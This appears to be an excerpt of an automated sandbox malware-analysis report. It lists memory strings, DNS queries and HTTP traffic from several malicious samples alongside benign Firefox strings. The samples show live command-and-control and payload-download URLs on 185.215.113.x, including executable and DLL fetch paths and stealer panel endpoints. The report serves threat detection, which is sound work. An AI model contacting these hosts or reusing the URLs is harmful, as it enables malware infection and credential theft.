Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: devtools-commandkey-profiler-start-stopNo callback set for this channel.^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$devtools/client/framework/devtoolsbrowser and that URL. Falling back to and deploy previews URLs are allowed.Failed to listen. Listener already attached.devtools.performance.popup.feature-flagGot invalid request to save JSON dataFailed to execute WebChannel callback:WebChannel/this._originCheckCallbackbrowser.fixup.dns_first_for_single_wordsbrowser.urlbar.dnsResolveFullyQualifiedNamesdevtools-commandkey-profiler-capturedevtools.debugger.features.javascript-tracingdevtools-commandkey-javascript-tracing-toggledevtools/client/framework/devtools-browserresource://devtools/server/devtools-server.js@mozilla.org/dom/slow-script-debug;1resource://devtools/shared/security/socket.jsDevTools telemetry entry point failed: @mozilla.org/network/protocol;1?name=default@mozilla.org/network/protocol;1?name=file@mozilla.org/uriloader/handler-service;1DevToolsStartup.jsm:handleDebuggerFlagdevtools.performance.recording.ui-base-urlresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/FileUtils.sys.mjsisDownloadsImprovementsAlreadyMigratedresource://gre/modules/NetUtil.sys.mjsgecko.handlerService.defaultHandlersVersionCan't invoke URIFixup in the content processresource://gre/modules/JSONFile.sys.mjs^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?{33d75835-722f-42c0-89cc-44f328e56a86}^([a-z+.-]+:\/{0,3})([^\/@]+@).+get FIXUP_FLAGS_MAKE_ALTERNATE_URIget FIXUP_FLAG_FORCE_ALTERNATE_URIresource://gre/modules/FileUtils.sys.mjs_injectDefaultProtocolHandlersIfNeededhttp://www.inbox.lv/rfc2368/?value=%shttps://mail.inbox.lv/compose?to=%shttp://poczta.interia.pl/mh/?mailto=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]\|$)get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPScheme should be either http or httpshandlerSvc fillHandlerInfo: don't know this type@mozilla.org/uriloader/local-handler-app;1{c6cf88b7-452e-47eb-bdc9-86e3561648ef}extractScheme/fixupChangedProtocol<browser.fixup.domainsuffixwhitelist.http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.yahoo.co.jp/compose/?To=%shttps://poczta.interia.pl/mh/?mailto=%s@mozilla.org/uriloader/web-handler-app;1@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/JSONFile.sys.mjsMust have a source and a callback@mozilla.org/network/input-stream-pump;1SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLFirst argument should be an nsIInputStreamresource://gre/modules/ExtHandlerService.sys.mjsNon-zero amount of bytes must be specified@mozilla.org/network/file-input-stream;1resource://gre/modules/URIFixup.sys.mjsnewChannel requires a single object argument@mozilla.org/network/async-stream-copier;1_finalizeInternal/this._finalizePromise<@mozilla.org/scriptableinputstream;1https://mail.yahoo.co.jp/compose/?To=%shttps://mail.yandex.ru/compose?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://m
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3207024753.00000132C41C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3279683763.00000132BB544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3304363170.00000132C3C88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3287630311.00000132BD1C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3287630311.00000132BD1C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3287630311.00000132BD1C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: resource://gre/modules/FileUtils.sys.mjsresource://gre/modules/addons/XPIProvider.jsm://cdn.branch.io/branch-latest.min.js://pub.doubleverify.com/signals/pub.js://static.criteo.net/js/ld/publishertag.js://www.google-analytics.com/gtm/jsFileUtils_closeSafeFileOutputStream://s0.2mdn.net/instream/html5/ima3.js://auth.9c9media.ca/auth/main.js://connect.facebook.net//all.js://www.google-analytics.com/plugins/ua/ec.js://www.googletagservices.com/tag/js/gpt.js*://c.amazon-adsystem.com/aax2/apstag.js://static.chartbeat.com/js/chartbeat.js://imasdk.googleapis.com/js/sdkloader/ima3.js://.imgur.io/js/vendor..bundle.js://www.rva311.com/static/js/main..chunk.jsFileUtils_closeAtomicFileOutputStreamwebcompat-reporter%40mozilla.org:1.5.1://web-assets.toggl.com/app/assets/scripts/.js://.imgur.com/js/vendor..bundle.jshttps://smartblock.firefox.etp/play.svg://track.adform.net/serving/scripts/trackpoint/://www.everestjs.net/static/st.v3.js://static.chartbeat.com/js/chartbeat_video.jshttps://smartblock.firefox.etp/facebook.svg://libs.coremetrics.com/eluminate.js://connect.facebook.net//sdk.js://www.google-analytics.com/analytics.js://www.googletagmanager.com/gtm.js**://ssl.google-analytics.com/ga.jswebcompat-reporter@mozilla.org.xpi{5874af6d-5719-4e1b-b155-ef4eae7fcb32} equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000003.3207024753.00000132C4166000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3276641087.00000132BB450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3311278425.00000132C4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000003.3207024753.00000132C4166000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3311278425.00000132C4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3276641087.00000132BB424000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3276641087.00000132BB46A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3267365896.00000132BB0E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: feb3d39b6a.exe, 00000013.00000003.3279806734.0000000000F67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: feb3d39b6a.exe, 00000013.00000003.3279806734.0000000000F67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/$
Source: skotes.exe, 00000011.00000002.3331222029.000000000166E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: file.exe, 00000000.00000002.2604363979.0000000000F44000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2604363979.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2604363979.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeZ
Source: feb3d39b6a.exe, 00000013.00000003.3280395469.0000000000F05000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3280263436.0000000000F95000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000002.3327603670.0000000000F63000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000002.3325496856.000000000098B000.00000004.00000010.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3270730206.0000000000F95000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3278865021.0000000000F77000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000002.3327603670.0000000000F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: feb3d39b6a.exe, 00000013.00000003.3280395469.0000000000F05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exez
Source: feb3d39b6a.exe, 00000013.00000003.3280395469.0000000000F05000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000002.3327603670.0000000000F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exez.
Source: feb3d39b6a.exe, 00000013.00000003.3280395469.0000000000F05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exez1
Source: skotes.exe, 00000011.00000002.3331222029.000000000166E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000011.00000002.3331222029.000000000166E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe4
Source: skotes.exe, 00000011.00000002.3331222029.000000000166E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe6
Source: skotes.exe, 00000011.00000002.3331222029.000000000166E000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.3280395469.0000000000F05000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000002.3327603670.0000000000F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000011.00000002.3331222029.000000000166E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: feb3d39b6a.exe, 00000013.00000003.3270730206.0000000000F86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: file.exe, 00000000.00000002.2593553859.0000000000264000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2604363979.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, 815f2a8fe8.exe, 00000014.00000002.3062536575.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2604363979.0000000000F57000.00000004.00000020.00020000.00000000.sdmp, 815f2a8fe8.exe, 00000014.00000002.3062536575.0000000000847000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2604363979.0000000000F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2604363979.0000000000F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2604363979.0000000000F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllL
Source: file.exe, 00000000.00000002.2604363979.0000000000F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2604363979.0000000000F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll;
Source: file.exe, 00000000.00000002.2604363979.0000000000F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2604363979.0000000000F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll8
Source: file.exe, 00000000.00000002.2604363979.0000000000F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2604363979.0000000000F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllj
Source: file.exe, 00000000.00000002.2604363979.0000000000F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllv
Source: file.exe, 00000000.00000002.2604363979.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2604363979.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllB
Source: 815f2a8fe8.exe, 00000014.00000002.3062536575.0000000000847000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Local
Source: 815f2a8fe8.exe, 00000014.00000002.3062536575.0000000000847000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2614456358.000000000B7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php#
Source: 815f2a8fe8.exe, 00000014.00000002.3062536575.0000000000847000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/Fu
Source: file.exe, 00000000.00000002.2614456358.000000000B7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php?
Source: file.exe, 00000000.00000002.2614456358.000000000B7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpC
Source: 815f2a8fe8.exe, 00000014.00000002.3062536575.0000000000847000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpHJA
Source: file.exe, 00000000.00000002.2604363979.0000000000F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpL
Source: file.exe, 00000000.00000002.2593553859.0000000000264000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpUser
Source: file.exe, 00000000.00000002.2593553859.0000000000264000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2614456358.000000000B7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpc
Source: file.exe, 00000000.00000002.2604363979.0000000000F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.2593553859.0000000000347000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpfox
Source: file.exe, 00000000.00000002.2604363979.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpgPreference.Verb
Source: 815f2a8fe8.exe, 00000014.00000002.3062536575.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/t
Source: file.exe, 00000000.00000002.2604363979.0000000000F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/x
Source: file.exe, 00000000.00000002.2593553859.0000000000347000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206c4becf79229cb002.phpedf1eb2b06d47fdacce46c03289d-release
Source: skotes.exe, 00000011.00000002.3331222029.000000000166E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000011.00000002.3331222029.000000000166E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/D
Source: skotes.exe, 00000011.00000002.3331222029.000000000163D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000011.00000002.3331222029.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php5001
